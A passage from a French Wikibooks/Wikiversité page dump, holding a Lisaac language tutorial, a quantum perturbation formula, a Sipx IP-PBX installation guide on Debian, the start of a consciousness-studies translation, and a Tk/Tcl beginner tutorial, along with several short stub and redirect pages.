France au Moyen Âge'', Paris, Colin, 2004. *Monique Bourin-Derruau, ''Temps d'équilibres, temps de ruptures'', Paris, éditions du Seuil, 1990. *Claude Gauvard, Alain de Libera, Michel Zink (dir.), ''Dictionnaire du Moyen Âge'', Paris, Presses Universitaires de France, 2002. *Fernand Braudel, ''Civilisation matérielle, économie et capitalisme (XVe - XVIIIe siècles)'', trois tomes, Paris, Armand Colin (livre de poche), 1979 Lisaac/Slot 7941 47161 2006-07-03T07:19:13Z Alveric 1610 /* Q : Que représente NUMERIC ? */ orthograhe ====Question : Et ensuite comment j'écrit des attribut ?==== Pour illustrer mon propos nous allons écrire un petit prototype modélisant les vecteurs à deux dimensions. Pour pouvoir représenter des points du plan par example. Section Header + name := VECTOR_2; - category := MICRO; Section Inherit - parent_object:OBJECT := OBJECT; Section Public + x : NUMERIC := 0 + y : NUMERIC := 0 ====Q : Mais si je met les slot x et y qui représentent des attributs dans la section publique je ne respecte pas le principe de protection des données !?==== Si pas de problème car toute affectation de slot est interdite pour les autres prototypes. Public veut seulement dire que les autres prototypes ont un accès en lecture et pas en écriture. Pour faire un accès en écriture il suffit de faire un setter comme d'habitude. En fait c'est très important car c'est la seul façon de respecter complétement et facilement le principe d'encapsulation de l'implémentation et de protection des données. Ce qui veut dire que vous n'aurez pas besoin d'écrire un getter qui ne sert qu'à pallier la syntaxe et le modèle de protection des données de certains langages. Exemple de setter : Section Header + name := VECTOR_2; - category := MICRO; Section Inherit - parent_object:OBJECT := OBJECT; Section Public + x : NUMERIC := 0 + y : NUMERIC := 0 + set_x new_x:NUMERIC <- ( x:= new_x; ) + set_y new_y:NUMERIC <- ( y:= new_y; ) TODO : vérifier ques les exemples compilent ====Q : Que représente NUMERIC ?==== NUMERIC est le prototype de la bibliothèque standard représentant tous les nombres, comme les différents entiers et flottants. Plus exactement, NUMERIC possède comme fils: * SIGNED les nombres signés ** SMALLINT entier de 8 bits signé ** SHORTINT entier de 16 bits signé ** INTEGER entier de 32 bits signé ** LONGINT entier de 64 bits signé ** REAL_16_16 flottant de 16 bits de mantisse et 16 d'offset ** REAL_24_8 flottant ** DOUBLE flottant *UNSIGNED les nombres non signés ** USMALLINT entier de 8 bits non signé ** USHORTINT entier de 16 bits non signé ** UINTEGER entier de 32 bits non signé ** ULONGINT entier de 64 bits non signé ** ULARGEINT entier non signé de longueur quelconque ====Q : Comment cela se fait que l'on puisse affecter directement des valeur aux slot x et y ? Cela devrait se faire dans le constructeur selon le principe de création et d'initialisation des objets !==== Étant donné que les prototypes sont directement "vivant" en mémoire et qu'il n'y a pas vraiment de constructeur au sens classique il est logique de penser qu'il faut un moyen d'initialiser les slots pour le premier prototype présent en mémoire. (Il y aura plus d'explication dans une des parties suivantes) ====Q : Et pour les méthodes ?==== En fait c'est pareil que les slot de donnés : nous allons affecter un bloc d'instruction aux slots ! Il y a deux manière d'affecter des objets à un slot : * avec l'opérateur d'affectation classique ":=" qui provoque une évaluation immédiate * avec l'opérateur d'affectation "<-" qui provoque une évaluation retardée (ou paresseuse). Pour déclarer un bloc il faut écrire une suite d'instruction séparés par des points virgules et encadré par des parenthèses. En fait c'est très classique sauf que l'on utilise des parenthèses et que les blocs peuvent apparaitre du coté droit d'une affectation. Pour affecter votre bloc dans le slot nous avons donc deux choix : *avec := ce qui provoque l'exécution immédiate (sans appel). Peut être utile dans certain cas *avec <- qui attend que l'on appele le slot pour l'exécuter. C'est cela que l'on va utiliser dans la plupart des cas. (par contre pour les slot de donnée on utilise plutot :=) Enfin pour renvoyer une valeur il suffit de placer cette valeur en dernière instruction et de ne pas la terminer par un point-virgule. Si la dernière expression d'un bloc est terminé par un ";" cela correspond à une procédure. Le type de la valeur de retour doit bien sur correspondre au type du slot. En fait les expressions en Lisaac sont déclarés de la même manière que les suites d'instructions : "(2+4<=2)" c'est pour cela que les valeurs de retours ont cette forme. Section Header + name := VECTOR_2; - category := MICRO; Section Inherit - parent_object:OBJECT := OBJECT; Section Public + x : NUMERIC := 0 + y : NUMERIC := 0 + norme_au_carre : NUMERIC <- ( x*x+y*y ) ====Q : Je trouve cette façon d'écrire une méthode étrange, non ?==== En fait en Lisaac il n'y a pas beaucoup de différence entre une méthode et un attribut. Que ce soit pour la définition ou pour l'utilisation. Ici les attributs et les méthodes possèdes la même interface c'est pour cela qu'on les désignent tous les deux sous le vocable de "slot". En particulier, un slot de code peut devenir un slot de données. Voir par exemple [[Lisaac/slot avancé|Transformer une méthode en attribut (ou l'inverse)]] dans le deuxième chapitre. Cette particularité n'est pas la seulement pour faire beau, comme nous le verrons dans tout le document c'est un des concept centraux de Lisaac. Résumons : dans l'esprit de lisaac vous affectez une liste d'instruction entre parenthèses à un slot. Nous avons utilisé ici la section Public qui permet à n'importe quel prototype d'appeller les slots. ====Q : Je ne pensais pas a avoir à demander cela mais pour l'appel il y a aussi des particularités ?==== Pour appeller un slot, ou envoyer un message suivant la façon de voir les choses, il suffit classiquement d'intercaler un point entre le prototype et le slot. Example : x:=4; x.sqrt.print; La particularité étant que l'on peut appeller un slot sans arguement sans ajouter des parenthèse "()" inutiles : Ce qui permet notament de remplacer un slot de donnée par un slot de routine, ou le contraire, sans changer l'interface du prototype. Ainsi le principe d'encapsulation objet est respecté au maximum. TODO : dans quel cas peut-on supprimer les parenthèses si il y a des paramètres ====Q : Pourquoi ne pas utiliser un "return x" comme d'habitude==== Il y a quelques problèmes avec l'instruction return provenant du langage C. Elle provoque en effet une rupture dans le flot d'exécution du programme. De plus les principes de la programmation structurés disent que la structure du code doit refléter les flots d'exécution possible. Ainsi la fin d'une routine ne doit arriver que lorsque que l'on arrive a la fin du bloc. Et c'est le même problème avec des instructions comme exit ou break. ====Q : Si tout est objet il faudra que je me tappe des 2.add(2) ?==== Non, rassurez vous les opérateur sont redéfinissables. On définit les symboles entre quotes ' ' Exemple l'addition pour notre prototype : - '+' left 80 other:VECTOR_2 :VECTOR_2 <- (etc ...) Et en plus vous avez le droit de choisir l'associativité gauche ou droite ainsi que la prioritée. ====Q : Que signifie les '+' et '-' devant les slots de données ?==== * Le '+' sert à faire un slot de donné non partagé par les instances, c'est le cas le plus classique. Chaque instance a son propre slot. * Le '-' sert par contre a partager le slot de donnée, cela équivaut aux variables static en C. ====Q : Que signifie les '+' et '-' devant les slots de code ?==== * Le '+' sert comme d'habitude à ne pas partager le slot. C'est relativement rare pour un slot de code. * Le '-' provoque le partage par toutes les instances de la méthode. C'est le cas le plus courant. Interaction quantique/Notions élémentaires/Opérateur d'évolution/Développement perturbatif/Ordre 1 7942 39139 2006-03-28T20:42:03Z Fapae 1199 Au premier ordre, on a :<math>\tilde{U}_{fi} = \frac{1}{i \hbar} \int_{t_i}^{t_f} d\theta V_{fi}(t) e^{i (E_f - E_i) \theta/\hbar}</math> avec :<math>V_{fi}(t) = \lang \phi_f | V(t) | \phi_i \rang</math> ([[Interaction quantique/Notions élémentaires/Opérateur d'évolution/Développement perturbatif/Ordre 1/Démonstration|démontration]]). Pour une perturbation en créneau V, constante entre les instants <math>t_i = -T/2</math> et <math>t_f = T/2</math>, nulle en dehors, l'intégrale se calcule exactement :<math>\tilde{U}_{fi} = \frac{V_{fi} T}{i \hbar} \mathrm{sinc} \frac{(E_f - E_i)T}{2 \hbar}</math> Lisaac/slot avancé 7943 39153 2006-03-28T22:44:13Z Outs 1307 Un slot de code peut devenir un slot de données section INHERIT + parent_directory:DIRECTORY <- ( /* code */ parent_directory := result ); Ici la méthode devient à la fin une simple donnée. TODO : faire un calcul de la norme qui transforme le slot en le résultat, ou alors le mettre dans le 2eme chapitre ? Wikiversité:Département de Génie des Procédés 7946 39248 2006-03-29T22:27:01Z 69.196.133.230 /* Présentation du département de Génie des Procédés */ {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Wikiversité:Département de Génie des Procédés|Département Génie des Procédés]]''' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Département Génie des Procédés]] |- | bgcolor="white" | *<small>[[Wikiversité:Département de Génie des Procédés|Accueil]]</small> *<small>[[Département de Génie des Procédés/Diplomes|Les diplômes]]</small> *<small>[[Département de Génie des Procédés/Bibliothèque|La bibliothèque]]</small> *<small>[[Département de Génie des Procédés/Recherche|La Recherche]]</small> *<small>[[Département de Génie des Procédés/Partnaires|Les partenaires]]</small> *<small>[[Département de Génie des Procédés/Soutiens|Soutiens]]</small> |} == Présentation du département de Génie des Procédés == À moyen terme le département souhaite proposer un éventail de cours aussi large que possible dans le domaine du génie des procédés. Certains de ces cours seront accessibles pour des étudiants venant d'autres départements de la Wikiversité dans le cadre de collaborations avec les autres départements de la Wikiversité. À plus court, le département vise à délivrer des attestations non-diplômantes touchant à des points précis du génie des procédés. À titre expérimental, l'idée est de mettre en ligne dès que possible le contenu d'un premier cours provisoirement intitulé "Analyse, prévention et gestion des risques en Génie des Procédés". Contenu du cours (en rédaction) : [[Risques industriels]] == Contributeurs à ce projet == ... N'hésitez pas à participer ... Risques industriels 7948 39250 2006-03-29T22:28:05Z 69.196.133.230 {| width="100%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="lightblue" align="center" colspan="2" | {| width="100%" bgcolor="lightblue" |- | bgcolor="white" | | bgcolor="lightblue" valign="middle" width="90%" align="center" | <font size="+1">Risques Industriels</font> ''un livre du [[Wikiversité:Département de Génie des Procédés|Département Génie des Procédés]] de la wikiversité <br/> |- |} |- bgcolor="lightyellow" valign="top" | width="20%" | {{Sous section|nom=Risques Industriels/Informations|couleur=lightblue|couleurbord=darkblue|couleurfond=white}} | {{Sous section|nom=Risques Industriels/Sommaire|couleur=lightblue|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | * [[Image:Fairytale filenew.png|24px|]] '''Pour laisser un [http://fr.wikibooks.org/w/wiki.phtml?title=Discuter:Risques_Industriels&action=edit&section=new message, cliquez ici.]''' * [[Image:Fairytale upload.png|24px|]] '''[[Wikilivres:Accueil|Tous les projets de Wikilivres]]''' * [[Image:Fairytale key enter-2.png|24px|]] [http://fr.wikibooks.org/w/index.php?title=Risques_Industriels&action=purge '''Rafraîchir la page'''] |- |} |- |} Risques Industriels/Sommaire 7949 43901 2006-06-05T16:09:54Z 193.49.225.25 Dans notre société, au fur et à mesure des progrès techniques, de nouveaux risques apparaissent. Notre capacité en tant que société humaine à utiliser au mieux ces progrès techniques reposent en partie sur notre capacité à analyser les risques, savoir les prévenir et les gérer. Ce livre vise à fournir des éléments permettant de se former à l'analyse et au management des risques, et plus particulièrement des risques industriels. ==Liens externes== * [http://rb.ec-lille.fr/gestion_projet.htm Cours de gestion des risques] Diaporama animé d'une introduction à la gestion des risques avec la démarche générique à suivre. Sipx 7956 40600 2006-04-20T16:58:59Z Fyoula 1322 {| style="border:1px solid #aaaaaa" cellpadding=3 align=center bgcolor=#ffeecc | ==Presentation== Sipx est un autocommutateur IP libre pour Linux, Il est Open Source. Il fournit la plupart des fonctionnalités ou services d'un autocommutateur (PABX) classique. Il peut se connecter avec le réseau téléphonique commuté (RTC) par l'intermediare des passerelles de VoIP. Sipx fonctionne avec des téléphones ou passerelles utilisant le protocole SIP (Session Initiation Protocol). Ce logiciel est développé par des programmeur de Pingtel reunis au sein de SIPFoundry. ==Configuration de Base du Systeme== ===Installation du Systeme de Base=== ===Configuration du Réseau et du DNS=== Dans la config réseau du Systeme Les fichiers à renseigner sont: * /etc/network/interfaces * /etc/hostname * /etc/host.conf * /etc/resolv.conf Le fichier /etc/network/interfaces decrit les interfaces réseaux sur le systemes <pre> iface lo iface lo net loopback auto eth0 iface eth0 inet static adress 192.168.0.34 netmask 255.255.255.0 gateway 192.168.0.1 network 192.168.0.0 broadcast 192.168.0.255 </pre> Le fichier /etc/hosts décrit le nom d'hôte et le domaine <pre> 127.0.0.1 localhost.localdomain localhost 192.168.0.34 voip.sipx.gn voip </pre> Le fichier /etc/resolv.conf configure votre serveur sur le serveur DNS responsable de votre domaine. <pre> search sipx.gn nameserver 192.168.0.5 nameserver 192.168.0.10 </pre> ===Test de la Configuration Réseau et DNS=== Pour faire le test de la configuration réseau. on utilisera souvant ces commandes ci-dessous: * hostname * hostname -d * hostname -f * dig -t A voip.sipx.gn La commande hostname indique le nom d'hote du serveur sipx <pre> voip:~# hostname voip:~# voip </pre> La commande hostname -f indique le nom d'hote complet (FQDN) du serveur sipx <pre> voip:~# hostname voip:~# voip.sipx.gn </pre> La commande hostname -d indique le nom de domain du serveur sipx <pre> voip:~# hostname voip:~# sipx.gn </pre> La commande dig -t A voip.sipx.gn affiche la reponse DNS. <pre> voip:~# dig -t A voip.sipx.gn ; <<>> DiG 9.2.4 <<>> -t A voip.sipx.gn ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16539 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0 ;; QUESTION SECTION: ;voip.sipx.gn. IN A ;; ANSWER SECTION: voip.sipx.gn. 604800 IN A 192.168.0.34 ;; AUTHORITY SECTION: sipx.gn. 604800 IN NS voip.sipx.gn. ;; Query time: 0 msec ;; SERVER: 192.168.0.5#53(192.168.0.5) ;; WHEN: Wed Apr 19 16:24:45 2006 ;; MSG SIZE rcvd: 60 </pre> ==Installation et Configuration de Sipx== ===Récommandations materielles=== ===Configuration de [apt]=== apt est le gestionnaires des paquets debian par excellence. Pour installer sipx à l'aide de apt, il faut renseigner le fichier /etc/apt/sources.list. Les paquets ncessaires à l'installation de sipx sur debian se trouvent sur: * http://scm.calivia.com/pub/sipx/debian Le contenu du fichier /etc/apt/sources.list doit etre: <pre> deb http://mirrors.kernel.org/debian/ stable main non-free contrib deb-src http://mirrors.kernel.org/debian/ stable main deb http://security.debian.org/ stable/updates main contrib non-free deb http://scm.calivia.com/pub/sipx/debian stable main deb http://security.debian.org/ testing/updates main contrib </pre> puis il faut mettre apt à jour à l'aide la commande <pre> apt-get update </pre> ===Installation du Runtime JAVA=== on install le Runtime JAVA, en executant la commmande <pre> apt-get install sun-j2re1.5 </pre> ===Installation du Package Sipxpbx=== <pre> apt-get install sipxpbx </pre> ===Configuration des Packages=== ==Cas Pratique.== |} [[Utilisateur:Fyoula|Famo YOULA]] Études sur la conscience 7960 39497 2006-04-02T15:51:11Z Zamolxis 1326 <center><big><big>Études sur la conscience</big></big> [[:en:Consciousness studies|Consciousness studies]] Un wikibooks de [[:en:User:RobinH|RobinH]] et [[:en:User:JWSchmidt|JWSchmidt]] en cours de traduction par [[Utilisateur:Zamolxis|Zamolxis]] (participez !)</center> == Introduction == Ce livre porte sur les neurosciences et la philosophie de la conscience. *[[Études sur la conscience - Introduction|Introduction]] == Première partie : Histoire == *[[Études sur la conscience - Théorie de l'Antiquité|Théorie de l'Antiquité]] *[[Études sur la conscience - Descartes et les empiristes|Descartes et les empiristes]] *[[Études sur la conscience - Dixneuvième et vingtième siècles|Dixneuvième et vingtième siècles]] == Deuxième partie : Le problème de la conscience == *[[Études sur la conscience - Description de la conscience|Description de la conscience]] *[[Études sur la conscience - Le Problème philosophique|Le Problème philosophique]] == Troisième partie : Neuroscience == == Quatrième partie : Explication de la conscience == == Appendices == [[en:Consciousness studies]] [[Catégorie:Philosophie]] [[Catégorie:Science]] Image:Constudnaive1.gif 7963 39329 2006-03-31T20:50:46Z Zamolxis 1326 GFDL GFDL Études sur la conscience - Introduction 7964 39734 2006-04-06T08:07:44Z Zamolxis 1326 Chacun possède un avis propre sur la nature de la conscience, avis qui repose notamment sur l'éducation et l'histoire individuelle. Ce livre atteindrait son objectif s'il permettait au lecteur de considérer les choses au-delà de son opinion ; dans ce but, nous proposerons un exposé des idées et des croyances variées qui existent sur ce sujet, ainsi qu'un aperçu des principaux travaux en neurosciences. Le scientifique en neurosciences pourra trouver la discussion philosophique intéressante, parce qu'elle fournit une représentation en première personne de la nature de la conscience, et fait connaître plusieurs raisonnements subtils qui éclairent la question de savoir pourquoi la conscience n'est pas un problème simple. L'étudiant en philosophie y trouvera une introduction utile, et des informations sur les neurosciences et la physique qu'il n'est pas aisées d'obtenir ailleurs. On dit souvent que la conscience ne peut être définie. Cela n'est pas vrai ; les philosophes l'ont en effet définie dans leurs propres termes. Elle possède deux aspects principaux : en premier lieu, la conscience phénoménale qui se compose de notre expérience de la présence de réalités dans le temps et dans l'espace, des sensations, des émotions, des pensées, etc. ; en second lieu, un accès conscient qui est constitué par les processus qui ont à faire avec les réalités de l'expérience. Comme nous le verrons dans les pages suivantes, l'objectif du scientifique et du philosophe est de déterminer le lieu et la forme des réalités de la conscience phénoménale. <small>[[Études sur la conscience|sommaire]]</small> [[en:Consciousness_studies:_Introduction]] == Une remarque sur le réalisme naïf == [[Image:Constudnaive1.gif|right]] Les enfants tendent à croire que le monde est identique au monde qu'ils voient et sentent. Un très jeune enfant peut même penser qu'une ombre étrange est un monstre ou qu'il y a vraiment des gens dans la télévision. Les enfants plus âgés, qui possèdent quelques notions de géométrie, sont portés à croire qu'il existe un point de l'oeil qui voit le monde. Des remarques physiques montrent que des idées de ce type sont hautement douteuses ; nous avons deux yeux qui ont chacun une image différente ; les seules images du monde sont habituellement crées par des instruments d'optiques, comme les yeux, et les photons qui portent la lumière à l'observateur ne peuvent absolument pas exister en un seul point. Quelques uns des désaccords entre la réalité physique et notre expérience sont illustrés par les images de cet page. L'idée réaliste et naïve de la perception implique un point de vue de forme géométrique. == Autres utilisations du mot "conscience" == Aesthética 7972 39458 2006-04-02T09:56:36Z 87.90.133.134 Æsthetica est une oeuvre de Baumgarten qui traite du goût et de sa formation. Æsthetica est une oeuvre de Baumgarten qui traite du goût et de sa formation, des appréciations d'art chez un individu, et définit le beau comme la perfection saisie par les sens. Critique de la faculté de juger 7973 39460 2006-04-02T10:16:08Z 87.90.133.134 Oeuvre du philosophe et écrivain Kant Lisaac/Cloner 7975 42801 2006-05-19T11:14:46Z Outs 1307 /* Q : Oui mais comment je fait des constructeurs ? */ ====Question : Et pour les constructeurs et l'instanciation ?==== Les contructeurs sont des routines un peu particulière dans les langage à classes car elles permettent de créer et d'instancier des objet à partir du vide. Mais Lisaac a horreur du vide ! En effet chaque prototype (qu'il soit abstrait ou sous forme de template n'importe pas) est directement présent en mémoire sous la forme d'un objet "maître". Cet objet "maître" s'écrit en majuscule avec le nom du prototype. Par exemple pour notre prototype de tout à l'heure l'objet maître est : VECTOR_2 Il est "vivant" dans le sens ou vous pouvez lui envoyer des messages. En particulier vous pouvez lui demander de se cloner. Exemple: Section Header + Name := MAIN_OBJECT - Category := APPLICATION Section Private + point:VECTOR_2 Section Public + main <- ( point:=VECTOR_2.clone; ) Vous devez donc utiliser la méthode clone pour instancier un nouvel objet. Cette méthode est définie dans OBJECT, il ne faut donc pas oublier de faire hériter vos prototype de OBJECT si vous voulez pouvoir les cloner. ====Q : Qui y'a t il dans point avant l'opération de clonage ? ==== En fait ceci : + point:VECTOR_2 équivaut à : + point:VECTOR_2:=NULL Au début point est donc une référence nulle. ====Q : Oui mais comment je fait des constructeurs ?==== C'est facile, si on refléchit bien un constructeur n'est rien d'autre qu'une fonction créant un nouvel objet suivant certain paramètre. On sait déjà fabriquer un nouvel objet : il faut utiliser clone. Pour l'initialisation du nouvel objet il suffit d'utiliser l'affectation normale. Bref si on arrête de faire de la mystification un constructeur c'est une méthode normale du prototype à créer. Exemple pour VECTOR_2 : - make (a,b:INTEGER):VECTOR_2 <- ( result:VECTOR_2; result:=VECTOR_2.clone; result.x:=a; result.y:=b; result ); Et pour l'utiliser : + v:VECTOR_2; v:=VECTOR_2.make(22,48); Lisaac/Variables 7976 40797 2006-04-23T15:41:38Z Outs 1307 ====Question : Comment puis-je déclarer des variables locales à un bloc ?==== La syntaxe est la même que pour les slots, la plupart du temps la variables n'est pas partagée donc préfixé par "+". Vous pouvez grouper les variables ayant le même type avec des virgules ",".La variable est initialisé par la valeur par defaut de son type. Toutes les variables doivent être déclarées au début du bloc. TODO : préciser valeur par défaut Exemple : ( +x,y:INTEGER; +p:VECTOR_2; x:=2; y:=x*0+42; p:=VECTOR_2.clone; ) Comme d'habitude le + signifie que la variable n'est pas partagé (cas le plus courant) et le - qu'elle l'est (cas équivalent à une variables static en C). Lisaac/Structures de contrôle 7977 40998 2006-04-26T19:29:59Z Outs 1307 /* Dans quel délires sans nom vas tu m'entrainer pour écrire un if ? */ ==== Dans quel délires sans nom vas tu m'entrainer pour écrire un if ?==== Et bien, il existe un deuxième moyen d'écrire un bloc. En plus de la syntaxe avec des parenthèse que l'on a vu avant on peut utiliser la même syntaxe mais avec des accolades "{ ... }". Les blocs ainsi définies sont à évaluation paresseuse, c'est à dire qu'ils sont évalués au dernier moment. De plus ces blocs sont-eux même des objets, donc ils peuvent apparaître du coté droit d'une affectation et possèdent le type BLOCK. Ils peuvent aussi apparaître en tant qu'argument d'un slot. Dès que l'on en consulte la valeur, le code qu'ils contiennent s'évalue. Après cela il me suffit de faire remarquer les structures de contrôle de Lisaac ne font pas partie du langage mais sont définies dans la bibliothèque standard. ====Q: Et donc cela donne quoi ?==== Quelques exemples suffiront à eux mêmes : +l:CHARACTER; (l == 'f'). if { "Bonjour tout le monde \n".print; }else{ "Hello World \n".print; } TODO rajouter: for, while, do_while ====Q : Comme les contrôles sont personalisable, est-ce que cela ne risque pas de rendre le code illisible si chacun refait tout à ca sauce ?==== Et bien premièrement en programmation objet on a seulement besoin de connaitre l'interface d'un objet pour pouvoir le réutiliser jamais son code. Cela limite donc le problème. Ensuite la fait de pouvoir créer des structures de contrôles personnalisé va permettre d'en fournir de nouvelles adaptées à chaque nouveau conteneur. Par exemple si vous faite une structure de donnée un peu inabituelle vous allez pouvoir fournir un moyen de l'utiliser convivial et adapté. Cela va donc améliorer la lisibilité du code. Image:Image-Blenderwindow.png 7985 39653 2006-04-05T12:29:17Z Molyss 1342 == Description == Impression d'écran de la fenêtre principale de Blender. == License == {{Capture d'écran}} [[Category:Blender images]] Blender 3D: du débutant au pro/Apprendre à modéliser 7987 39685 2006-04-05T16:38:16Z Molyss 1342 [[Blender 3D: du débutant au pro/Apprendre à modéliser]] déplacé vers [[Blender 3D: du débutant au pro/Apprendre à modeler]] #REDIRECT [[Blender 3D: du débutant au pro/Apprendre à modeler]] Modèle:Box Code 7990 39704 2006-04-06T02:36:26Z 66.130.254.221 {| WIDTH="75%" cellpadding=0 cellspacing=0 style="background-color: #f2fff2; border: solid 1px #bfffbf;" | style="background-color: #c1ffc1; border: solid 1px #a0ffa0; border-bottom: 1px solid #888;" | <small>'''Code:''' {{{1}}}</small> |- |{{{2}}} |} Image:PHP-Liste2-1.jpg 7991 39718 2006-04-06T07:26:46Z Merrheim 1032 Captures d'écran Captures d'écran Image:PHP-Liste2-2.jpg 7992 39720 2006-04-06T07:27:08Z Merrheim 1032 Captures d'écran Captures d'écran Image:PHP-Liste2-3.jpg 7993 39721 2006-04-06T07:27:24Z Merrheim 1032 Captures d'écran Captures d'écran Image:PHP-Liste2-4.jpg 7994 39722 2006-04-06T07:27:41Z Merrheim 1032 Captures d'écran Captures d'écran LSF 7995 39745 2006-04-06T16:33:46Z Greudin 1 [[LSF]] déplacé vers [[Langue des signes française]]: sigle conv. fr #REDIRECT [[Langue des signes française]] Faculté de Mathématiques/Mathématiques au lycée 7997 40872 2006-04-24T20:47:55Z WikiC 1349 *[[Faculté de Mathématiques/Fonction]] *[[Faculté de Mathématiques/Équation du premier degré]] *[[Faculté de Mathématiques/Système d'équations linéaires]] *[[Faculté de Mathématiques/Inéquation]] *[[Faculté de Mathématiques/Équation du second degré]] *[[Faculté de Mathématiques/Polynôme]] *[[Faculté de Mathématiques/Arithmétique]] *[[Faculté de Mathématiques/Suites]] *[[Faculté de Mathématiques/Limites]] *[[Faculté de Mathématiques/Dérivation]] *[[Faculté de Mathématiques/Intégration]] *[[Faculté de Mathématiques/Géométrie dans l'espace]] *[[Faculté de Mathématiques/Géométrie vectorielle]] *[[Faculté de Mathématiques/Géométrie analytique]] *[[Faculté de Mathématiques/Trigonométrie]] *[[Faculté de Mathématiques/Nombres complexes]] *[[Faculté de Mathématiques/Statistique]] *[[Faculté de Mathématiques/Probabilité]] [[Catégorie:Faculté de Mathématiques de la Wikiversité]] Département informatique/Partnaires 7998 39755 2006-04-06T22:26:01Z WikiC 1349 [[Département informatique/Partnaires]] déplacé vers [[Département informatique/Partenaires]]: ortho #REDIRECT [[Département informatique/Partenaires]] Image:Charles.gif 7999 39762 2006-04-07T07:21:00Z Charles 328 moi moi Vos premiers pas en Tk 8000 39821 2006-04-07T21:10:13Z 85.68.51.7 {{Tk - la bibliothèque graphique de Tcl}} ''Auteur de la version initiale : Arnaud LAPREVOTE'' ==Tk== Tk est le compagnon graphique de tcl. Il contient en particulier les widgets suivants : * bouton * label * entrée de texte * menu * photo * fenêtre de sélection de fichiers, de couleurs, ... * ... Ce qui n'est pas directement dans Tk peut être trouvé directement dans des extensions supplémentaires, telles que Blt (widget de tracé de courbes), les Bwidgets, html. On commence aussi à trouver des méga-widgets directement écrits en tk (combobox, notepad, arbre). ==Premier pas en Tk== Pour créer une interface, on : * défini chaque widget et ses attributs, * dispose les widgets dans la fenêtre ( pack ou grid ), * défini les commandes associées aux actions. Tk gère intégralement la boucle de suivi des événements. On ne s'en préoccupe pas. <pre> #!/usr/bin/wish label .nouveau_label -text "Je dis juste bonjour !" button .say_ok -text "OK ?" pack .nouveau_label .say_ok -side top bind .say_ok &lt;Button-1> { exit } bind .say_ok &lt;Button-2> { .nouveau_label configure -text "Vous avez appuyez sur le bouton 2" } </pre> Ou encore plus simplement : <pre> #!/usr/bin/wish label .nouveau_label -text "Je dis juste bonjour !" button .say_ok -text "OK ?" -command { exit } pack .nouveau_label .say_ok -side top </pre> ==Création d'un widget== Le nom d'un widget est toujours : .xxxx.yyyy.zzzz Dans ce cas on crée le widget zzzz qui se trouve dans le widget yyyy qui se trouve dans le widget xxxx. xxxx pourrait parfaitement être une nouvelle fenêtre ou un widget. <pre> #!/usr/bin/wish toplevel .nouvelle_fenetre label .nouvelle_fenetre.label -text "Je dis juste bonjour !" button .nouvelle_fenetre.say_ok -text "OK ?" -command { destroy .nouvelle_fenetre } pack .nouvelle_fenetre.label .nouvelle_fenetre.say_ok -side top </pre> Lors de la création d'un widget, des paramètres sont initialisés. Par exemple, dans : <pre> label .exemple_label -text "Je dis juste bonjour !" </pre> Lors de la création du label .exemple_label, on vient initialiser son paramètre -text à la valeur "Je dis juste bonjour !". Il est constamment possible de changer un paramètre d'un widget avec la commande configure. Les valeurs initialisables pour un widget varient d'un widget à l'autre. Cependant il y a un certain nombre de paramètres qui sont systématiquement initialisables pour les widgets. La liste de ces options par défaut est disponible : <pre> man options options(n) Tk Built-In Commands options(n) _________________________________________________________________ NAME options - Standard options supported by widgets _________________________________________________________________ DESCRIPTION This manual entry describes the common configuration options supported by widgets in the Tk toolkit. Every widget does not necessarily support every option (see the manual entries for individual widgets for a list of the standard options supported by that widget), but if a wid- get does support an option with one of the names listed below, then the option has exactly the effect described below. In the descriptions below, ``Command-Line Name'' refers to ......... </pre> ==Modification des paramêtres d'un widget existant== Reprenons notre petit exemple : 2 solutions existent ici. Si vous tapez directement dans wish, alors tapez : <pre> label .exemple_label -text "Je dis juste bonjour !" pack .exemple_label .exemple_label configure -text "puis au revoir" </pre> Si vous souhaitez plutôt utiliser un programme dans un fichier, alors tapez : <pre>#!/usr/bin/wish set wait_var 0 label .exemple_label -text "Je dis juste bonjour !" pack .exemple_label # Dans une seconde je changerai la variable wait_var after 1000 { incr wait_var } # J'attends une modification de wait_var et je suis # dans la boucle d'événement. vwait wait_var # wait_var a bougé je sors de la boucle .exemple_label configure -text "puis au revoir" after 1000 { incr wait_var } vwait wait_var # Je sors de l'application exit </pre> Comme vous pouvez le constater configure a permis de changer la valeur d'un paramêtre d'un widget. Si vous souhaitez connaître la liste de tous les paramêtres d'un widget, il vous suffit de taper : .nom_du_widget configure Si vous souhaitez connaître la valeur d'un paramètre donné, vous pouvez utiliser la commande cget : <pre>% label .exemple_label -text "Je dis juste bonjour !" % pack .exemple_label % .exemple_label cget -text Je dis juste bonjour ! </pre> ''Remarque'' Dis tonton Arnaud, tu nous as bassiné avec le fait qu'une ligne tcl consistait toujours en : <pre> commande argument1 argument2 ... </pre> Or je constate ici que l'on a : <pre> nom_du_widget commande argument1 ... </pre> Il y a tromperie sur la marchandise, remboursez !!!!! ''Réponse de tonton Arnaud'' Que nenni !!! Lorsque l'on crée un widget, une commande portant le nom du widget est créée et configure est un argument de cette commande comme un autre. ==Mort d'un widget== Tout à une fin. On peut détruire un widget avec la commande : <pre> destroy .nom_du_widget </pre> ==Les options standard== {{entête tableau charte}} ! Option ! Signification |----- | -background | couleur de fond du widget. Ou un mot (red, ...) ou une chaine définissant rgb avec des valeurs hexa (noir : "#00000", blanc : "#ffffff", rouge : "#ff0000") |-{{ligne grise}} | -activebackground | couleur de fond lorsque le curseur est sur le widget |----- | -foreground | la couleur du texte quand le curseur n'est pas sur le widget |-{{ligne grise}} | -activeforeground | la couleur du texte quand le curseur est sur le widget |----- | -text | le texte du boutton |-{{ligne grise}} | -textvariable | une variable dont le contenu s'affichera dans le widget |----- | -image | une image précédemment chargée |-{{ligne grise}} | -bitmap | un bitmap qui s'affichera dans le widget |----- | -padx | espace de garde à droite et à gauche du widget |-{{ligne grise}} | -pady | espace de garde au-dessus et en dessous du widget |----- | -anchor | l'élément interne au widget (texte ou graphique) sera collé à la partie haute (nord => n) basse (sud => s) droite (est => e) ou gauche (ouest => w) ou au centre (center). |-{{ligne grise}} | -width | largeur en caractères du widget |----- | -height | hauteur en caractères du widget 